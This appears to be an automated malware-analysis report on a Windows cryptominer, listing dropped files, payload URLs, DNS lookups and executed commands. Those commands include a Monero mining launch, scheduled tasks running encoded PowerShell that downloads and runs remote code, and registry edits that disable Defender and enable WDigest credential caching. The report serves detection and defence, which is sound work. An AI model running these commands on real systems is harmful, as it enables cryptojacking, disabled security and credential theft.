Technical Information
- <SYSTEM32>\tasks\pchunterdns
- <SYSTEM32>\tasks\microsoft\windows\upnp\services
- '%PROGRAMDATA%\118.exe'
- '%PROGRAMDATA%\120.exe'
- '%PROGRAMDATA%\xmr.exe'
- '%TEMP%\~1035183206881579330~\sg.tmp' x "%PROGRAMDATA%\xmr.exe" -y -aoa -o"%PROGRAMDATA%" -pertyuio
- '%PROGRAMDATA%\officekms.exe'
- '%PROGRAMDATA%\officekms.exe' -o xmr.f2pool.com:13531 -u 456jdPdTxbuixumJ2NiDhYgRs2GSBAFwa2hkYu1gpPHtRhz3mnJigeqWW1dRTeSiHBbHc2f18vc5VgiX9ofccGDQ6NVVkVV -p x -k
- '%PROGRAMDATA%\fcc.exe'
- 'C:\users\public\everything.exe'
- '%PROGRAMDATA%\doseos.exe'
- '%PROGRAMDATA%\office1.exe'
- https://mywebsaat.xyz/123.jpg
- %WINDIR%\syswow64\taskmgr.exe
- <SYSTEM32>\cmd.exe
- %PROGRAMDATA%\googlp.txt
- %PROGRAMDATA%\tmp\yh.jpg\9.ling
- %PROGRAMDATA%\tmp\yh.jpg\7.ling
- %PROGRAMDATA%\tmp\yh.jpg\6.ling
- %PROGRAMDATA%\tmp\yh.jpg\5.ling
- %PROGRAMDATA%\tmp\yh.jpg\1.ling
- %PROGRAMDATA%\tmp\yh.jpg\4.ling
- %PROGRAMDATA%\tmp\yh.jpg\3.ling
- %PROGRAMDATA%\tmp\yh.jpg\2.ling
- %PROGRAMDATA%\doseos.exe
- %PROGRAMDATA%\btc.jpg
- %PROGRAMDATA%\tmp\yh.jpg\8.ling
- %PROGRAMDATA%\tmp\btc.jpg\16.ling
- %PROGRAMDATA%\tmp\btc.jpg\14.ling
- %PROGRAMDATA%\tmp\btc.jpg\11.ling
- %PROGRAMDATA%\tmp\btc.jpg\13.ling
- %PROGRAMDATA%\tmp\btc.jpg\12.ling
- %PROGRAMDATA%\tmp\btc.jpg\10.ling
- %PROGRAMDATA%\tmp\btc.jpg\9.ling
- %PROGRAMDATA%\tmp\btc.jpg\8.ling
- %PROGRAMDATA%\tmp\btc.jpg\7.ling
- %PROGRAMDATA%\tmp\btc.jpg\5.ling
- %PROGRAMDATA%\tmp\btc.jpg\6.ling
- %PROGRAMDATA%\tmp\btc.jpg\15.ling
- %PROGRAMDATA%\tmp\nb.jpg\6.ling
- %PROGRAMDATA%\tmp\nb.jpg\11.ling
- %PROGRAMDATA%\tmp\yh.jpg\12.ling
- %PROGRAMDATA%\tmp\nb.jpg\16.ling
- %PROGRAMDATA%\tmp\nb.jpg\13.ling
- %PROGRAMDATA%\tmp\nb.jpg\15.ling
- %PROGRAMDATA%\tmp\nb.jpg\14.ling
- %PROGRAMDATA%\tmp\nb.jpg\12.ling
- %PROGRAMDATA%\tmp\nb.jpg\4.ling
- %PROGRAMDATA%\tmp\nb.jpg\3.ling
- %PROGRAMDATA%\tmp\nb.jpg\2.ling
- %PROGRAMDATA%\tmp\nb.jpg\1.ling
- %PROGRAMDATA%\tmp\nb.jpg\10.ling
- C:\users\public\everything.lng
- %PROGRAMDATA%\tmp\nb.jpg\9.ling
- %PROGRAMDATA%\tmp\nb.jpg\8.ling
- %PROGRAMDATA%\tmp\nb.jpg\7.ling
- %PROGRAMDATA%\tmp\nb.jpg\5.ling
- %PROGRAMDATA%\office1.exe
- C:\users\public\curlabc1.txt
- %PROGRAMDATA%\yh.jpg
- %PROGRAMDATA%\tmp\yh.jpg\16.ling
- %PROGRAMDATA%\tmp\yh.jpg\14.ling
- %PROGRAMDATA%\tmp\yh.jpg\15.ling
- %PROGRAMDATA%\tmp\yh.jpg\13.ling
- %PROGRAMDATA%\tmp\yh.jpg\11.ling
- %PROGRAMDATA%\tmp\yh.jpg\10.ling
- C:\users\public\everything.ini
- %PROGRAMDATA%\winring0x64.sys
- %PROGRAMDATA%\xmr.exe
- %PROGRAMDATA%\xmr.jpg
- %PROGRAMDATA%\tmp\xmr.jpg\12.ling
- %PROGRAMDATA%\tmp\xmr.jpg\10.ling
- %PROGRAMDATA%\tmp\xmr.jpg\11.ling
- %PROGRAMDATA%\tmp\xmr.jpg\13.ling
- %PROGRAMDATA%\tmp\xmr.jpg\9.ling
- %PROGRAMDATA%\tmp\xmr.jpg\8.ling
- %PROGRAMDATA%\tmp\xmr.jpg\7.ling
- %PROGRAMDATA%\tmp\xmr.jpg\6.ling
- %TEMP%\~1035183206881579330~\sg.tmp
- %PROGRAMDATA%\tmp\xmr.jpg\5.ling
- %PROGRAMDATA%\tmp\xmr.jpg\3.ling
- %PROGRAMDATA%\tmp\xmr.jpg\2.ling
- %PROGRAMDATA%\tmp\xmr.jpg\1.ling
- C:\users\public\sdfsdagegd.txt
- %PROGRAMDATA%\microsftewmi.png
- %PROGRAMDATA%\120.exe
- %PROGRAMDATA%\118.exe
- %PROGRAMDATA%\defender.txt
- %PROGRAMDATA%\dnssfaf.txt
- %PROGRAMDATA%\tehjdghhw.txt
- %PROGRAMDATA%\tmp\xmr.jpg\4.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\15.ling
- C:\users\public\curl.exe
- %PROGRAMDATA%\tmp\fxtxt.jpg\1.ling
- C:\users\public\fxtxt.txt
- %PROGRAMDATA%\tmp\btc.jpg\4.ling
- %PROGRAMDATA%\tmp\btc.jpg\2.ling
- %PROGRAMDATA%\tmp\btc.jpg\3.ling
- %PROGRAMDATA%\tmp\btc.jpg\1.ling
- %PROGRAMDATA%\fcc.exe
- %PROGRAMDATA%\fxtxt.jpg
- %PROGRAMDATA%\tmp\fxtxt.jpg\16.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\8.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\7.ling
- C:\users\public\everything.exe
- %PROGRAMDATA%\tmp\fxtxt.jpg\6.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\9.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\14.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\12.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\11.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\13.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\10.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\4.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\5.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\3.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\2.ling
- %PROGRAMDATA%\officekms.exe
- %PROGRAMDATA%\nb.jpg
- %PROGRAMDATA%\tmp\xmr.jpg\1.ling
- %PROGRAMDATA%\tmp\yh.jpg\4.ling
- %PROGRAMDATA%\tmp\yh.jpg\3.ling
- %PROGRAMDATA%\tmp\yh.jpg\2.ling
- %PROGRAMDATA%\tmp\yh.jpg\16.ling
- %PROGRAMDATA%\tmp\yh.jpg\15.ling
- %PROGRAMDATA%\tmp\yh.jpg\14.ling
- %PROGRAMDATA%\tmp\yh.jpg\13.ling
- %PROGRAMDATA%\tmp\yh.jpg\12.ling
- %PROGRAMDATA%\tmp\yh.jpg\11.ling
- %PROGRAMDATA%\tmp\yh.jpg\10.ling
- %PROGRAMDATA%\tmp\yh.jpg\1.ling
- %PROGRAMDATA%\btc.jpg
- %PROGRAMDATA%\tmp\btc.jpg\9.ling
- %PROGRAMDATA%\tmp\btc.jpg\8.ling
- %PROGRAMDATA%\tmp\btc.jpg\7.ling
- %PROGRAMDATA%\tmp\btc.jpg\6.ling
- %PROGRAMDATA%\tmp\btc.jpg\5.ling
- %PROGRAMDATA%\tmp\yh.jpg\5.ling
- %PROGRAMDATA%\tmp\yh.jpg\7.ling
- %PROGRAMDATA%\tmp\nb.jpg\9.ling
- %PROGRAMDATA%\tmp\yh.jpg\8.ling
- %PROGRAMDATA%\tmp\nb.jpg\8.ling
- %PROGRAMDATA%\tmp\nb.jpg\7.ling
- %PROGRAMDATA%\tmp\nb.jpg\6.ling
- %PROGRAMDATA%\tmp\nb.jpg\5.ling
- %PROGRAMDATA%\tmp\nb.jpg\4.ling
- %PROGRAMDATA%\tmp\nb.jpg\3.ling
- %PROGRAMDATA%\tmp\nb.jpg\2.ling
- %PROGRAMDATA%\tmp\nb.jpg\16.ling
- %PROGRAMDATA%\tmp\nb.jpg\15.ling
- %PROGRAMDATA%\tmp\nb.jpg\14.ling
- %PROGRAMDATA%\tmp\nb.jpg\13.ling
- %PROGRAMDATA%\tmp\nb.jpg\12.ling
- %PROGRAMDATA%\tmp\nb.jpg\11.ling
- %PROGRAMDATA%\tmp\nb.jpg\10.ling
- %PROGRAMDATA%\tmp\nb.jpg\1.ling
- %PROGRAMDATA%\yh.jpg
- %PROGRAMDATA%\tmp\yh.jpg\9.ling
- %PROGRAMDATA%\tmp\btc.jpg\4.ling
- %PROGRAMDATA%\tmp\yh.jpg\6.ling
- %PROGRAMDATA%\tmp\btc.jpg\3.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\13.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\11.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\10.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\1.ling
- %TEMP%\~1035183206881579330~\sg.tmp
- %PROGRAMDATA%\xmr.jpg
- %PROGRAMDATA%\tmp\xmr.jpg\9.ling
- %PROGRAMDATA%\tmp\xmr.jpg\8.ling
- %PROGRAMDATA%\tmp\xmr.jpg\7.ling
- %PROGRAMDATA%\tmp\xmr.jpg\6.ling
- %PROGRAMDATA%\tmp\xmr.jpg\5.ling
- %PROGRAMDATA%\tmp\xmr.jpg\4.ling
- %PROGRAMDATA%\tmp\xmr.jpg\3.ling
- %PROGRAMDATA%\tmp\xmr.jpg\2.ling
- %PROGRAMDATA%\tmp\xmr.jpg\13.ling
- %PROGRAMDATA%\tmp\xmr.jpg\12.ling
- %PROGRAMDATA%\tmp\xmr.jpg\11.ling
- %PROGRAMDATA%\tmp\xmr.jpg\10.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\12.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\14.ling
- %PROGRAMDATA%\tmp\btc.jpg\16.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\15.ling
- %PROGRAMDATA%\tmp\btc.jpg\15.ling
- %PROGRAMDATA%\tmp\btc.jpg\14.ling
- %PROGRAMDATA%\tmp\btc.jpg\13.ling
- %PROGRAMDATA%\tmp\btc.jpg\12.ling
- %PROGRAMDATA%\tmp\btc.jpg\11.ling
- %PROGRAMDATA%\tmp\btc.jpg\10.ling
- %PROGRAMDATA%\tmp\btc.jpg\1.ling
- %PROGRAMDATA%\fxtxt.jpg
- %PROGRAMDATA%\tmp\fxtxt.jpg\9.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\8.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\7.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\6.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\5.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\4.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\3.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\2.ling
- %PROGRAMDATA%\tmp\fxtxt.jpg\16.ling
- %PROGRAMDATA%\tmp\btc.jpg\2.ling
- %PROGRAMDATA%\nb.jpg
- %PROGRAMDATA%\tmp\yh.jpg\1.ling
- %PROGRAMDATA%\tmp\yh.jpg\15.ling
- %PROGRAMDATA%\tmp\yh.jpg\14.ling
- %PROGRAMDATA%\tmp\yh.jpg\11.ling
- %PROGRAMDATA%\tmp\yh.jpg\12.ling
- %PROGRAMDATA%\tmp\yh.jpg\8.ling
- %PROGRAMDATA%\tmp\yh.jpg\9.ling
- %PROGRAMDATA%\tmp\yh.jpg\16.ling
- %PROGRAMDATA%\tmp\yh.jpg\7.ling
- %PROGRAMDATA%\tmp\yh.jpg\2.ling
- %PROGRAMDATA%\tmp\yh.jpg\6.ling
- %PROGRAMDATA%\tmp\yh.jpg\13.ling
- %PROGRAMDATA%\tmp\yh.jpg\10.ling
- %PROGRAMDATA%\tmp\yh.jpg\4.ling
- %PROGRAMDATA%\tmp\yh.jpg\3.ling
- %PROGRAMDATA%\tmp\yh.jpg\5.ling
- %PROGRAMDATA%\yh.jpg
- http://my###saat.xyz/999.jpg
- http://www.wo###you.top/images/999.jpg
- http://my###saat.xyz/xmr.jpg
- http://my###saat.xyz/fxtxt.jpg
- http://my###saat.xyz/btc.jpg
- http://my###saat.xyz/yh.jpg
- http://rs#.##websaat.xyz/yh.jpg
- http://my###saat.xyz/nb.jpg
- DNS ASK up##ad.ee
- DNS ASK ba##u.com
- DNS ASK my###saat.xyz
- DNS ASK wo###you.top
- DNS ASK xm#.#2pool.com
- DNS ASK rs#.##websaat.xyz
- '%WINDIR%\syswow64\cmd.exe' /c cmd.exe /c SCHTASKS /Delete /TN "igfxCUService" /F' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c set' (with hidden window)
- '%TEMP%\~1035183206881579330~\sg.tmp' x "%PROGRAMDATA%\xmr.exe" -y -aoa -o"%PROGRAMDATA%" -pertyuio' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAG0AeQB3AGUAYgBzAGEAYQB0AC4AeAB...' (with hidden window)
- '%TEMP%\~6146359189100228538~\sg.tmp' x "%PROGRAMDATA%\office1.exe" -y -aoa -o"C:\Users\Public" -phtgreds' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 30 /tn PCHunterDNS /tr "powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZA...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /tn \Microsoft\Windows\UPnP\Services /tr "powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3...
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
- '<SYSTEM32>\cmd.exe' /c reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\taskmgr.exe'
- '%WINDIR%\syswow64\cmd.exe' /c cmd.exe /c SCHTASKS /Delete /TN "igfxCUService" /F
- '%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /Delete /TN "igfxCUService" /F
- '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "igfxCUService" /F
- '<SYSTEM32>\cmd.exe' /c set
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "C:\users\public\everything.exe"
- '%WINDIR%\syswow64\wscript.exe' "%PROGRAMDATA%\tem.vbs"